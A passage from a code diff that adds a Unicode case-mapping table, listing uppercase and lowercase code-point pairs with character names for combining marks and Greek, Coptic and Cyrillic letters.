+ [0x347, 0x347], /* COMBINING EQUALS SIGN BELOW */
+ [0x348, 0x348], /* COMBINING DOUBLE VERTICAL LINE BELOW */
+ [0x349, 0x349], /* COMBINING LEFT ANGLE BELOW */
+ [0x34a, 0x34a], /* COMBINING NOT TILDE ABOVE */
+ [0x34b, 0x34b], /* COMBINING HOMOTHETIC ABOVE */
+ [0x34c, 0x34c], /* COMBINING ALMOST EQUAL TO ABOVE */
+ [0x34d, 0x34d], /* COMBINING LEFT RIGHT ARROW BELOW */
+ [0x34e, 0x34e], /* COMBINING UPWARDS ARROW BELOW */
+ [0x34f, 0x34f], /* COMBINING GRAPHEME JOINER */
+ [0x350, 0x350], /* COMBINING RIGHT ARROWHEAD ABOVE */
+ [0x351, 0x351], /* COMBINING LEFT HALF RING ABOVE */
+ [0x352, 0x352], /* COMBINING FERMATA */
+ [0x353, 0x353], /* COMBINING X BELOW */
+ [0x354, 0x354], /* COMBINING LEFT ARROWHEAD BELOW */
+ [0x355, 0x355], /* COMBINING RIGHT ARROWHEAD BELOW */
+ [0x356, 0x356], /* COMBINING RIGHT ARROWHEAD AND UP ARROWHEAD BELOW */
+ [0x357, 0x357], /* COMBINING RIGHT HALF RING ABOVE */
+ [0x358, 0x358], /* COMBINING DOT ABOVE RIGHT */
+ [0x359, 0x359], /* COMBINING ASTERISK BELOW */
+ [0x35a, 0x35a], /* COMBINING DOUBLE RING BELOW */
+ [0x35b, 0x35b], /* COMBINING ZIGZAG ABOVE */
+ [0x35c, 0x35c], /* COMBINING DOUBLE BREVE BELOW */
+ [0x35d, 0x35d], /* COMBINING DOUBLE BREVE */
+ [0x35e, 0x35e], /* COMBINING DOUBLE MACRON */
+ [0x35f, 0x35f], /* COMBINING DOUBLE MACRON BELOW */
+ [0x360, 0x360], /* COMBINING DOUBLE TILDE */
+ [0x361, 0x361], /* COMBINING DOUBLE INVERTED BREVE */
+ [0x362, 0x362], /* COMBINING DOUBLE RIGHTWARDS ARROW BELOW */
+ [0x363, 0x363], /* COMBINING LATIN SMALL LETTER A */
+ [0x364, 0x364], /* COMBINING LATIN SMALL LETTER E */
+ [0x365, 0x365], /* COMBINING LATIN SMALL LETTER I */
+ [0x366, 0x366], /* COMBINING LATIN SMALL LETTER O */
+ [0x367, 0x367], /* COMBINING LATIN SMALL LETTER U */
+ [0x368, 0x368], /* COMBINING LATIN SMALL LETTER C */
+ [0x369, 0x369], /* COMBINING LATIN SMALL LETTER D */
+ [0x36a, 0x36a], /* COMBINING LATIN SMALL LETTER H */
+ [0x36b, 0x36b], /* COMBINING LATIN SMALL LETTER M */
+ [0x36c, 0x36c], /* COMBINING LATIN SMALL LETTER R */
+ [0x36d, 0x36d], /* COMBINING LATIN SMALL LETTER T */
+ [0x36e, 0x36e], /* COMBINING LATIN SMALL LETTER V */
+ [0x36f, 0x36f], /* COMBINING LATIN SMALL LETTER X */
+ [0x370, 0x371], /* GREEK CAPITAL LETTER HETA */
+ [0x370, 0x371], /* GREEK SMALL LETTER HETA */
+ [0x372, 0x373], /* GREEK CAPITAL LETTER ARCHAIC SAMPI */
+ [0x372, 0x373], /* GREEK SMALL LETTER ARCHAIC SAMPI */
+ [0x374, 0x374], /* GREEK NUMERAL SIGN (GREEK UPPER NUMERAL SIGN) */
+ [0x375, 0x375], /* GREEK LOWER NUMERAL SIGN */
+ [0x376, 0x377], /* GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA */
+ [0x376, 0x377], /* GREEK SMALL LETTER PAMPHYLIAN DIGAMMA */
+ [0x378, 0x378],
+ [0x379, 0x379],
+ [0x37a, 0x37a], /* GREEK YPOGEGRAMMENI (GREEK SPACING IOTA BELOW) */
+ [0x3fd, 0x37b], /* GREEK SMALL REVERSED LUNATE SIGMA SYMBOL */
+ [0x3fe, 0x37c], /* GREEK SMALL DOTTED LUNATE SIGMA SYMBOL */
+ [0x3ff, 0x37d], /* GREEK SMALL REVERSED DOTTED LUNATE SIGMA SYMBOL */
+ [0x37e, 0x37e], /* GREEK QUESTION MARK */
+ [0x37f, 0x3f3], /* GREEK CAPITAL LETTER YOT */
+ [0x380, 0x380],
+ [0x381, 0x381],
+ [0x382, 0x382],
+ [0x383, 0x383],
+ [0x384, 0x384], /* GREEK TONOS (GREEK SPACING TONOS) */
+ [0x385, 0x385], /* GREEK DIALYTIKA TONOS (GREEK SPACING DIAERESIS TONOS) */
+ [0x386, 0x3ac], /* GREEK CAPITAL LETTER ALPHA WITH TONOS (GREEK CAPITAL LETTER ALPHA TONOS) */
+ [0x387, 0x387], /* GREEK ANO TELEIA */
+ [0x388, 0x3ad], /* GREEK CAPITAL LETTER EPSILON WITH TONOS (GREEK CAPITAL LETTER EPSILON TONOS) */
+ [0x389, 0x3ae], /* GREEK CAPITAL LETTER ETA WITH TONOS (GREEK CAPITAL LETTER ETA TONOS) */
+ [0x38a, 0x3af], /* GREEK CAPITAL LETTER IOTA WITH TONOS (GREEK CAPITAL LETTER IOTA TONOS) */
+ [0x38b, 0x38b],
+ [0x38c, 0x3cc], /* GREEK CAPITAL LETTER OMICRON WITH TONOS (GREEK CAPITAL LETTER OMICRON TONOS) */
+ [0x38d, 0x38d],
+ [0x38e, 0x3cd], /* GREEK CAPITAL LETTER UPSILON WITH TONOS (GREEK CAPITAL LETTER UPSILON TONOS) */
+ [0x38f, 0x3ce], /* GREEK CAPITAL LETTER OMEGA WITH TONOS (GREEK CAPITAL LETTER OMEGA TONOS) */
+ [0x390, 0x390], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA AND TONOS (GREEK SMALL LETTER IOTA DIAERESIS TONOS) */
+ [0x391, 0x3b1], /* GREEK CAPITAL LETTER ALPHA */
+ [0x392, 0x3b2], /* GREEK CAPITAL LETTER BETA */
+ [0x393, 0x3b3], /* GREEK CAPITAL LETTER GAMMA */
+ [0x394, 0x3b4], /* GREEK CAPITAL LETTER DELTA */
+ [0x395, 0x3b5], /* GREEK CAPITAL LETTER EPSILON */
+ [0x396, 0x3b6], /* GREEK CAPITAL LETTER ZETA */
+ [0x397, 0x3b7], /* GREEK CAPITAL LETTER ETA */
+ [0x398, 0x3b8], /* GREEK CAPITAL LETTER THETA */
+ [0x399, 0x3b9], /* GREEK CAPITAL LETTER IOTA */
+ [0x39a, 0x3ba], /* GREEK CAPITAL LETTER KAPPA */
+ [0x39b, 0x3bb], /* GREEK CAPITAL LETTER LAMDA (GREEK CAPITAL LETTER LAMBDA) */
+ [0x39c, 0x3bc], /* GREEK CAPITAL LETTER MU */
+ [0x39d, 0x3bd], /* GREEK CAPITAL LETTER NU */
+ [0x39e, 0x3be], /* GREEK CAPITAL LETTER XI */
+ [0x39f, 0x3bf], /* GREEK CAPITAL LETTER OMICRON */
+ [0x3a0, 0x3c0], /* GREEK CAPITAL LETTER PI */
+ [0x3a1, 0x3c1], /* GREEK CAPITAL LETTER RHO */
+ [0x3a2, 0x3a2],
+ [0x3a3, 0x3c3], /* GREEK CAPITAL LETTER SIGMA */
+ [0x3a4, 0x3c4], /* GREEK CAPITAL LETTER TAU */
+ [0x3a5, 0x3c5], /* GREEK CAPITAL LETTER UPSILON */
+ [0x3a6, 0x3c6], /* GREEK CAPITAL LETTER PHI */
+ [0x3a7, 0x3c7], /* GREEK CAPITAL LETTER CHI */
+ [0x3a8, 0x3c8], /* GREEK CAPITAL LETTER PSI */
+ [0x3a9, 0x3c9], /* GREEK CAPITAL LETTER OMEGA */
+ [0x3aa, 0x3ca], /* GREEK CAPITAL LETTER IOTA WITH DIALYTIKA (GREEK CAPITAL LETTER IOTA DIAERESIS) */
+ [0x3ab, 0x3cb], /* GREEK CAPITAL LETTER UPSILON WITH DIALYTIKA (GREEK CAPITAL LETTER UPSILON DIAERESIS) */
+ [0x386, 0x3ac], /* GREEK SMALL LETTER ALPHA WITH TONOS (GREEK SMALL LETTER ALPHA TONOS) */
+ [0x388, 0x3ad], /* GREEK SMALL LETTER EPSILON WITH TONOS (GREEK SMALL LETTER EPSILON TONOS) */
+ [0x389, 0x3ae], /* GREEK SMALL LETTER ETA WITH TONOS (GREEK SMALL LETTER ETA TONOS) */
+ [0x38a, 0x3af], /* GREEK SMALL LETTER IOTA WITH TONOS (GREEK SMALL LETTER IOTA TONOS) */
+ [0x3b0, 0x3b0], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND TONOS (GREEK SMALL LETTER UPSILON DIAERESIS TONOS) */
+ [0x391, 0x3b1], /* GREEK SMALL LETTER ALPHA */
+ [0x392, 0x3b2], /* GREEK SMALL LETTER BETA */
+ [0x393, 0x3b3], /* GREEK SMALL LETTER GAMMA */
+ [0x394, 0x3b4], /* GREEK SMALL LETTER DELTA */
+ [0x395, 0x3b5], /* GREEK SMALL LETTER EPSILON */
+ [0x396, 0x3b6], /* GREEK SMALL LETTER ZETA */
+ [0x397, 0x3b7], /* GREEK SMALL LETTER ETA */
+ [0x398, 0x3b8], /* GREEK SMALL LETTER THETA */
+ [0x399, 0x3b9], /* GREEK SMALL LETTER IOTA */
+ [0x39a, 0x3ba], /* GREEK SMALL LETTER KAPPA */
+ [0x39b, 0x3bb], /* GREEK SMALL LETTER LAMDA (GREEK SMALL LETTER LAMBDA) */
+ [0x39c, 0x3bc], /* GREEK SMALL LETTER MU */
+ [0x39d, 0x3bd], /* GREEK SMALL LETTER NU */
+ [0x39e, 0x3be], /* GREEK SMALL LETTER XI */
+ [0x39f, 0x3bf], /* GREEK SMALL LETTER OMICRON */
+ [0x3a0, 0x3c0], /* GREEK SMALL LETTER PI */
+ [0x3a1, 0x3c1], /* GREEK SMALL LETTER RHO */
+ [0x3a3, 0x3c2], /* GREEK SMALL LETTER FINAL SIGMA */
+ [0x3a3, 0x3c3], /* GREEK SMALL LETTER SIGMA */
+ [0x3a4, 0x3c4], /* GREEK SMALL LETTER TAU */
+ [0x3a5, 0x3c5], /* GREEK SMALL LETTER UPSILON */
+ [0x3a6, 0x3c6], /* GREEK SMALL LETTER PHI */
+ [0x3a7, 0x3c7], /* GREEK SMALL LETTER CHI */
+ [0x3a8, 0x3c8], /* GREEK SMALL LETTER PSI */
+ [0x3a9, 0x3c9], /* GREEK SMALL LETTER OMEGA */
+ [0x3aa, 0x3ca], /* GREEK SMALL LETTER IOTA WITH DIALYTIKA (GREEK SMALL LETTER IOTA DIAERESIS) */
+ [0x3ab, 0x3cb], /* GREEK SMALL LETTER UPSILON WITH DIALYTIKA (GREEK SMALL LETTER UPSILON DIAERESIS) */
+ [0x38c, 0x3cc], /* GREEK SMALL LETTER OMICRON WITH TONOS (GREEK SMALL LETTER OMICRON TONOS) */
+ [0x38e, 0x3cd], /* GREEK SMALL LETTER UPSILON WITH TONOS (GREEK SMALL LETTER UPSILON TONOS) */
+ [0x38f, 0x3ce], /* GREEK SMALL LETTER OMEGA WITH TONOS (GREEK SMALL LETTER OMEGA TONOS) */
+ [0x3cf, 0x3d7], /* GREEK CAPITAL KAI SYMBOL */
+ [0x392, 0x3d0], /* GREEK BETA SYMBOL (GREEK SMALL LETTER CURLED BETA) */
+ [0x398, 0x3d1], /* GREEK THETA SYMBOL (GREEK SMALL LETTER SCRIPT THETA) */
+ [0x3d2, 0x3d2], /* GREEK UPSILON WITH HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK) */
+ [0x3d3, 0x3d3], /* GREEK UPSILON WITH ACUTE AND HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK TONOS) */
+ [0x3d4, 0x3d4], /* GREEK UPSILON WITH DIAERESIS AND HOOK SYMBOL (GREEK CAPITAL LETTER UPSILON HOOK DIAERESIS) */
+ [0x3a6, 0x3d5], /* GREEK PHI SYMBOL (GREEK SMALL LETTER SCRIPT PHI) */
+ [0x3a0, 0x3d6], /* GREEK PI SYMBOL (GREEK SMALL LETTER OMEGA PI) */
+ [0x3cf, 0x3d7], /* GREEK KAI SYMBOL */
+ [0x3d8, 0x3d9], /* GREEK LETTER ARCHAIC KOPPA */
+ [0x3d8, 0x3d9], /* GREEK SMALL LETTER ARCHAIC KOPPA */
+ [0x3da, 0x3db], /* GREEK LETTER STIGMA (GREEK CAPITAL LETTER STIGMA) */
+ [0x3da, 0x3db], /* GREEK SMALL LETTER STIGMA */
+ [0x3dc, 0x3dd], /* GREEK LETTER DIGAMMA (GREEK CAPITAL LETTER DIGAMMA) */
+ [0x3dc, 0x3dd], /* GREEK SMALL LETTER DIGAMMA */
+ [0x3de, 0x3df], /* GREEK LETTER KOPPA (GREEK CAPITAL LETTER KOPPA) */
+ [0x3de, 0x3df], /* GREEK SMALL LETTER KOPPA */
+ [0x3e0, 0x3e1], /* GREEK LETTER SAMPI (GREEK CAPITAL LETTER SAMPI) */
+ [0x3e0, 0x3e1], /* GREEK SMALL LETTER SAMPI */
+ [0x3e2, 0x3e3], /* COPTIC CAPITAL LETTER SHEI (GREEK CAPITAL LETTER SHEI) */
+ [0x3e2, 0x3e3], /* COPTIC SMALL LETTER SHEI (GREEK SMALL LETTER SHEI) */
+ [0x3e4, 0x3e5], /* COPTIC CAPITAL LETTER FEI (GREEK CAPITAL LETTER FEI) */
+ [0x3e4, 0x3e5], /* COPTIC SMALL LETTER FEI (GREEK SMALL LETTER FEI) */
+ [0x3e6, 0x3e7], /* COPTIC CAPITAL LETTER KHEI (GREEK CAPITAL LETTER KHEI) */
+ [0x3e6, 0x3e7], /* COPTIC SMALL LETTER KHEI (GREEK SMALL LETTER KHEI) */
+ [0x3e8, 0x3e9], /* COPTIC CAPITAL LETTER HORI (GREEK CAPITAL LETTER HORI) */
+ [0x3e8, 0x3e9], /* COPTIC SMALL LETTER HORI (GREEK SMALL LETTER HORI) */
+ [0x3ea, 0x3eb], /* COPTIC CAPITAL LETTER GANGIA (GREEK CAPITAL LETTER GANGIA) */
+ [0x3ea, 0x3eb], /* COPTIC SMALL LETTER GANGIA (GREEK SMALL LETTER GANGIA) */
+ [0x3ec, 0x3ed], /* COPTIC CAPITAL LETTER SHIMA (GREEK CAPITAL LETTER SHIMA) */
+ [0x3ec, 0x3ed], /* COPTIC SMALL LETTER SHIMA (GREEK SMALL LETTER SHIMA) */
+ [0x3ee, 0x3ef], /* COPTIC CAPITAL LETTER DEI (GREEK CAPITAL LETTER DEI) */
+ [0x3ee, 0x3ef], /* COPTIC SMALL LETTER DEI (GREEK SMALL LETTER DEI) */
+ [0x39a, 0x3f0], /* GREEK KAPPA SYMBOL (GREEK SMALL LETTER SCRIPT KAPPA) */
+ [0x3a1, 0x3f1], /* GREEK RHO SYMBOL (GREEK SMALL LETTER TAILED RHO) */
+ [0x3f9, 0x3f2], /* GREEK LUNATE SIGMA SYMBOL (GREEK SMALL LETTER LUNATE SIGMA) */
+ [0x37f, 0x3f3], /* GREEK LETTER YOT */
+ [0x3f4, 0x3b8], /* GREEK CAPITAL THETA SYMBOL */
+ [0x395, 0x3f5], /* GREEK LUNATE EPSILON SYMBOL */
+ [0x3f6, 0x3f6], /* GREEK REVERSED LUNATE EPSILON SYMBOL */
+ [0x3f7, 0x3f8], /* GREEK CAPITAL LETTER SHO */
+ [0x3f7, 0x3f8], /* GREEK SMALL LETTER SHO */
+ [0x3f9, 0x3f2], /* GREEK CAPITAL LUNATE SIGMA SYMBOL */
+ [0x3fa, 0x3fb], /* GREEK CAPITAL LETTER SAN */
+ [0x3fa, 0x3fb], /* GREEK SMALL LETTER SAN */
+ [0x3fc, 0x3fc], /* GREEK RHO WITH STROKE SYMBOL */
+ [0x3fd, 0x37b], /* GREEK CAPITAL REVERSED LUNATE SIGMA SYMBOL */
+ [0x3fe, 0x37c], /* GREEK CAPITAL DOTTED LUNATE SIGMA SYMBOL */
+ [0x3ff, 0x37d], /* GREEK CAPITAL REVERSED DOTTED LUNATE SIGMA SYMBOL */
+ [0x400, 0x450], /* CYRILLIC CAPITAL LETTER IE WITH GRAVE */
+ [0x401, 0x451], /* CYRILLIC CAPITAL LETTER IO */
+ [0x402, 0x452], /* CYRILLIC CAPITAL LETTER DJE */
+ [0x403, 0x453], /* CYRILLIC CAPITAL LETTER GJE */
+ [0x404, 0x454], /* CYRILLIC CAPITAL LETTER UKRAINIAN IE (CYRILLIC CAPITAL LETTER E) */
+ [0x405, 0x455], /* CYRILLIC CAPITAL LETTER DZE */
+ [0x406, 0x456], /* CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC CAPITAL LETTER I) */
+ [0x407, 0x457], /* CYRILLIC CAPITAL LETTER YI */
+ [0x408, 0x458], /* CYRILLIC CAPITAL LETTER JE */
+ [0x409, 0x459], /* CYRILLIC CAPITAL LETTER LJE */
+ [0x40a, 0x45a], /* CYRILLIC CAPITAL LETTER NJE */
+ [0x40b, 0x45b], /* CYRILLIC CAPITAL LETTER TSHE */
+ [0x40c, 0x45c], /* CYRILLIC CAPITAL LETTER KJE */
+ [0x40d, 0x45d], /* CYRILLIC CAPITAL LETTER I WITH GRAVE */
+ [0x40e, 0x45e], /* CYRILLIC CAPITAL LETTER SHORT U */
+ [0x40f, 0x45f], /* CYRILLIC CAPITAL LETTER DZHE */
+ [0x410, 0x430], /* CYRILLIC CAPITAL LETTER A */
+ [0x411, 0x431], /* CYRILLIC CAPITAL LETTER BE */
+ [0x412, 0x432], /* CYRILLIC CAPITAL LETTER VE */
+ [0x413, 0x433], /* CYRILLIC CAPITAL LETTER GHE (CYRILLIC CAPITAL LETTER GE) */
+ [0x414, 0x434], /* CYRILLIC CAPITAL LETTER DE */
+ [0x415, 0x435], /* CYRILLIC CAPITAL LETTER IE */
+ [0x416, 0x436], /* CYRILLIC CAPITAL LETTER ZHE */
+ [0x417, 0x437], /* CYRILLIC CAPITAL LETTER ZE */
+ [0x418, 0x438], /* CYRILLIC CAPITAL LETTER I (CYRILLIC CAPITAL LETTER II) */
+ [0x419, 0x439], /* CYRILLIC CAPITAL LETTER SHORT I (CYRILLIC CAPITAL LETTER SHORT II) */
+ [0x41a, 0x43a], /* CYRILLIC CAPITAL LETTER KA */
+ [0x41b, 0x43b], /* CYRILLIC CAPITAL LETTER EL */
+ [0x41c, 0x43c], /* CYRILLIC CAPITAL LETTER EM */
+ [0x41d, 0x43d], /* CYRILLIC CAPITAL LETTER EN */
+ [0x41e, 0x43e], /* CYRILLIC CAPITAL LETTER O */
+ [0x41f, 0x43f], /* CYRILLIC CAPITAL LETTER PE */
+ [0x420, 0x440], /* CYRILLIC CAPITAL LETTER ER */
+ [0x421, 0x441], /* CYRILLIC CAPITAL LETTER ES */
+ [0x422, 0x442], /* CYRILLIC CAPITAL LETTER TE */
+ [0x423, 0x443], /* CYRILLIC CAPITAL LETTER U */
+ [0x424, 0x444], /* CYRILLIC CAPITAL LETTER EF */
+ [0x425, 0x445], /* CYRILLIC CAPITAL LETTER HA (CYRILLIC CAPITAL LETTER KHA) */
+ [0x426, 0x446], /* CYRILLIC CAPITAL LETTER TSE */
+ [0x427, 0x447], /* CYRILLIC CAPITAL LETTER CHE */
+ [0x428, 0x448], /* CYRILLIC CAPITAL LETTER SHA */
+ [0x429, 0x449], /* CYRILLIC CAPITAL LETTER SHCHA */
+ [0x42a, 0x44a], /* CYRILLIC CAPITAL LETTER HARD SIGN */
+ [0x42b, 0x44b], /* CYRILLIC CAPITAL LETTER YERU (CYRILLIC CAPITAL LETTER YERI) */
+ [0x42c, 0x44c], /* CYRILLIC CAPITAL LETTER SOFT SIGN */
+ [0x42d, 0x44d], /* CYRILLIC CAPITAL LETTER E (CYRILLIC CAPITAL LETTER REVERSED E) */
+ [0x42e, 0x44e], /* CYRILLIC CAPITAL LETTER YU (CYRILLIC CAPITAL LETTER IU) */
+ [0x42f, 0x44f], /* CYRILLIC CAPITAL LETTER YA (CYRILLIC CAPITAL LETTER IA) */
+ [0x410, 0x430], /* CYRILLIC SMALL LETTER A */
+ [0x411, 0x431], /* CYRILLIC SMALL LETTER BE */
+ [0x412, 0x432], /* CYRILLIC SMALL LETTER VE */
+ [0x413, 0x433], /* CYRILLIC SMALL LETTER GHE (CYRILLIC SMALL LETTER GE) */
+ [0x414, 0x434], /* CYRILLIC SMALL LETTER DE */
+ [0x415, 0x435], /* CYRILLIC SMALL LETTER IE */
+ [0x416, 0x436], /* CYRILLIC SMALL LETTER ZHE */
+ [0x417, 0x437], /* CYRILLIC SMALL LETTER ZE */
+ [0x418, 0x438], /* CYRILLIC SMALL LETTER I (CYRILLIC SMALL LETTER II) */
+ [0x419, 0x439], /* CYRILLIC SMALL LETTER SHORT I (CYRILLIC SMALL LETTER SHORT II) */
+ [0x41a, 0x43a], /* CYRILLIC SMALL LETTER KA */
+ [0x41b, 0x43b], /* CYRILLIC SMALL LETTER EL */
+ [0x41c, 0x43c], /* CYRILLIC SMALL LETTER EM */
+ [0x41d, 0x43d], /* CYRILLIC SMALL LETTER EN */
+ [0x41e, 0x43e], /* CYRILLIC SMALL LETTER O */
+ [0x41f, 0x43f], /* CYRILLIC SMALL LETTER PE */
+ [0x420, 0x440], /* CYRILLIC SMALL LETTER ER */
+ [0x421, 0x441], /* CYRILLIC SMALL LETTER ES */
+ [0x422, 0x442], /* CYRILLIC SMALL LETTER TE */
+ [0x423, 0x443], /* CYRILLIC SMALL LETTER U */
+ [0x424, 0x444], /* CYRILLIC SMALL LETTER EF */
+ [0x425, 0x445], /* CYRILLIC SMALL LETTER HA (CYRILLIC SMALL LETTER KHA) */
+ [0x426, 0x446], /* CYRILLIC SMALL LETTER TSE */
+ [0x427, 0x447], /* CYRILLIC SMALL LETTER CHE */
+ [0x428, 0x448], /* CYRILLIC SMALL LETTER SHA */
+ [0x429, 0x449], /* CYRILLIC SMALL LETTER SHCHA */
+ [0x42a, 0x44a], /* CYRILLIC SMALL LETTER HARD SIGN */
+ [0x42b, 0x44b], /* CYRILLIC SMALL LETTER YERU (CYRILLIC SMALL LETTER YERI) */
+ [0x42c, 0x44c], /* CYRILLIC SMALL LETTER SOFT SIGN */
+ [0x42d, 0x44d], /* CYRILLIC SMALL LETTER E (CYRILLIC SMALL LETTER REVERSED E) */
+ [0x42e, 0x44e], /* CYRILLIC SMALL LETTER YU (CYRILLIC SMALL LETTER IU) */
+ [0x42f, 0x44f], /* CYRILLIC SMALL LETTER YA (CYRILLIC SMALL LETTER IA) */
+ [0x400, 0x450], /* CYRILLIC SMALL LETTER IE WITH GRAVE */
+ [0x401, 0x451], /* CYRILLIC SMALL LETTER IO */
+ [0x402, 0x452], /* CYRILLIC SMALL LETTER DJE */
+ [0x403, 0x453], /* CYRILLIC SMALL LETTER GJE */
+ [0x404, 0x454], /* CYRILLIC SMALL LETTER UKRAINIAN IE (CYRILLIC SMALL LETTER E) */
+ [0x405, 0x455], /* CYRILLIC SMALL LETTER DZE */
+ [0x406, 0x456], /* CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC SMALL LETTER I) */
+ [0x407, 0x457], /* CYRILLIC SMALL LETTER YI */
+ [0x408, 0x458], /* CYRILLIC SMALL LETTER JE */
+ [0x409, 0x459], /* CYRILLIC SMALL LETTER LJE */
+ [0x40a, 0x45a], /* CYRILLIC SMALL LETTER NJE */
+ [0x40b, 0x45b], /* CYRILLIC SMALL LETTER TSHE */
+ [0x40c, 0x45c], /* CYRILLIC SMALL LETTER KJE */
+ [0x40d, 0x45d], /* CYRILLIC SMALL LETTER I WITH GRAVE */
+ [0x40e, 0x45e], /* CYRILLIC SMALL LETTER SHORT U */
+ [0x40f, 0x45f], /* CYRILLIC SMALL LETTER DZHE */
+ [0x460, 0x461], /* CYRILLIC CAPITAL LETTER OMEGA */
+ [0x460, 0x461], /* CYRILLIC SMALL LETTER OMEGA */
+ [0x462, 0x463], /* CYRILLIC CAPITAL LETTER YAT */
+ [0x462, 0x463], /* CYRILLIC SMALL LETTER YAT */
+ [0x464, 0x465], /* CYRILLIC CAPITAL LETTER IOTIFIED E */
+ [0x464, 0x465], /* CYRILLIC SMALL LETTER IOTIFIED E */
+ [0x466, 0x467], /* CYRILLIC CAPITAL LETTER LITTLE YUS */
+ [0x466, 0x467], /* CYRILLIC SMALL LETTER LITTLE YUS */
+ [0x468, 0x469], /* CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS */
+ [0x468, 0x469], /* CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS */
+ [0x46a, 0x46b], /* CYRILLIC CAPITAL LETTER BIG YUS */
+ [0x46a, 0x46b], /* CYRILLIC SMALL LETTER BIG YUS */
+ [0x46c, 0x46d], /* CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS */
+ [0x46c, 0x46d], /* CYRILLIC SMALL LETTER IOTIFIED BIG YUS */
+ [0x46e, 0x46f], /* CYRILLIC CAPITAL LETTER KSI */
+ [0x46e, 0x46f], /* CYRILLIC SMALL LETTER KSI */
+ [0x470, 0x471], /* CYRILLIC CAPITAL LETTER PSI */
+ [0x470, 0x471], /* CYRILLIC SMALL LETTER PSI */
+ [0x472, 0x473], /* CYRILLIC CAPITAL LETTER FITA */
+ [0x472, 0x473], /* CYRILLIC SMALL LETTER FITA */
+ [0x474, 0x475], /* CYRILLIC CAPITAL LETTER IZHITSA */
+ [0x474, 0x475], /* CYRILLIC SMALL LETTER IZHITSA */
+ [0x476, 0x477], /* CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC CAPITAL LETTER IZHITSA DOUBLE GRAVE) */
+ [0x476, 0x477], /* CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC SMALL LETTER IZHITSA DOUBLE GRAVE) */
+ [0x478, 0x479], /* CYRILLIC CAPITAL LETTER UK (CYRILLIC CAPITAL LETTER UK DIGRAPH) */
+ [0x478, 0x479], /* CYRILLIC SMALL LETTER UK (CYRILLIC SMALL LETTER UK DIGRAPH) */
+ [0x47a, 0x47b], /* CYRILLIC CAPITAL LETTER ROUND OMEGA */
+ [0x47a, 0x47b], /* CYRILLIC SMALL LETTER ROUND OMEGA */
+ [0x47c, 0x47d], /* CYRILLIC CAPITAL LETTER OMEGA WITH TITLO (CYRILLIC CAPITAL LETTER OMEGA TITLO) */
+ [0x47c, 0x47d], /* CYRILLIC SMALL LETTER OMEGA WITH TITLO (CYRILLIC SMALL LETTER OMEGA TITLO) */
+ [0x47e, 0x47f], /* CYRILLIC CAPITAL LETTER OT */
+ [0x47e, 0x47f], /* CYRILLIC SMALL LETTER OT */
+ [0x480, 0x481], /* CYRILLIC CAPITAL LETTER KOPPA */
+ [0x480, 0x481], /* CYRILLIC SMALL LETTER KOPPA */
+ [0x482, 0x482], /* CYRILLIC THOUSANDS SIGN */
+ [0x483, 0x483], /* COMBINING CYRILLIC TITLO (CYRILLIC NON-SPACING TITLO) */
+ [0x484, 0x484], /* COMBINING CYRILLIC PALATALIZATION (CYRILLIC NON-SPACING PALATALIZATION) */
+ [0x485, 0x485], /* COMBINING CYRILLIC DASIA PNEUMATA (CYRILLIC NON-SPACING DASIA PNEUMATA) */
+ [0x486, 0x486], /* COMBINING CYRILLIC PSILI PNEUMATA (CYRILLIC NON-SPACING PSILI PNEUMATA) */
+ [0x487, 0x487], /* COMBINING CYRILLIC POKRYTIE */
+ [0x488, 0x488], /* COMBINING CYRILLIC HUNDRED THOUSANDS SIGN */
+ [0x489, 0x489], /* COMBINING CYRILLIC MILLIONS SIGN */
+ [0x48a, 0x48b], /* CYRILLIC CAPITAL LETTER SHORT I WITH TAIL */
+ [0x48a, 0x48b], /* CYRILLIC SMALL LETTER SHORT I WITH TAIL */
+ [0x48c, 0x48d], /* CYRILLIC CAPITAL LETTER SEMISOFT SIGN */
+ [0x48c, 0x48d], /* CYRILLIC SMALL LETTER SEMISOFT SIGN */
+ [0x48e, 0x48f], /* CYRILLIC CAPITAL LETTER ER WITH TICK */
+ [0x48e, 0x48f], /* CYRILLIC SMALL LETTER ER WITH TICK */
+ [0x490, 0x491], /* CYRILLIC CAPITAL LETTER GHE WITH UPTURN (CYRILLIC CAPITAL LETTER GE WITH UPTURN) */
+ [0x490, 0x491], /* CYRILLIC SMALL LETTER GHE WITH UPTURN (CYRILLIC SMALL LETTER GE WITH UPTURN) */
+ [0x492, 0x493], /* CYRILLIC CAPITAL LETTER GHE WITH STROKE (CYRILLIC CAPITAL LETTER GE BAR) */
+ [0x492, 0x493], /* CYRILLIC SMALL LETTER GHE WITH STROKE (CYRILLIC SMALL LETTER GE BAR) */
+ [0x494, 0x495], /* CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER GE HOOK) */
+ [0x494, 0x495], /* CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER GE HOOK) */
+ [0x496, 0x497], /* CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZHE WITH RIGHT DESCENDER) */
+ [0x496, 0x497], /* CYRILLIC SMALL LETTER ZHE WITH DESCENDER (CYRILLIC SMALL LETTER ZHE WITH RIGHT DESCENDER) */
+ [0x498, 0x499], /* CYRILLIC CAPITAL LETTER ZE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZE CEDILLA) */
+ [0x498, 0x499], /* CYRILLIC SMALL LETTER ZE WITH DESCENDER (CYRILLIC SMALL LETTER ZE CEDILLA) */
+ [0x49a, 0x49b], /* CYRILLIC CAPITAL LETTER KA WITH DESCENDER (CYRILLIC CAPITAL LETTER KA WITH RIGHT DESCENDER) */
+ [0x49a, 0x49b], /* CYRILLIC SMALL LETTER KA WITH DESCENDER (CYRILLIC SMALL LETTER KA WITH RIGHT DESCENDER) */
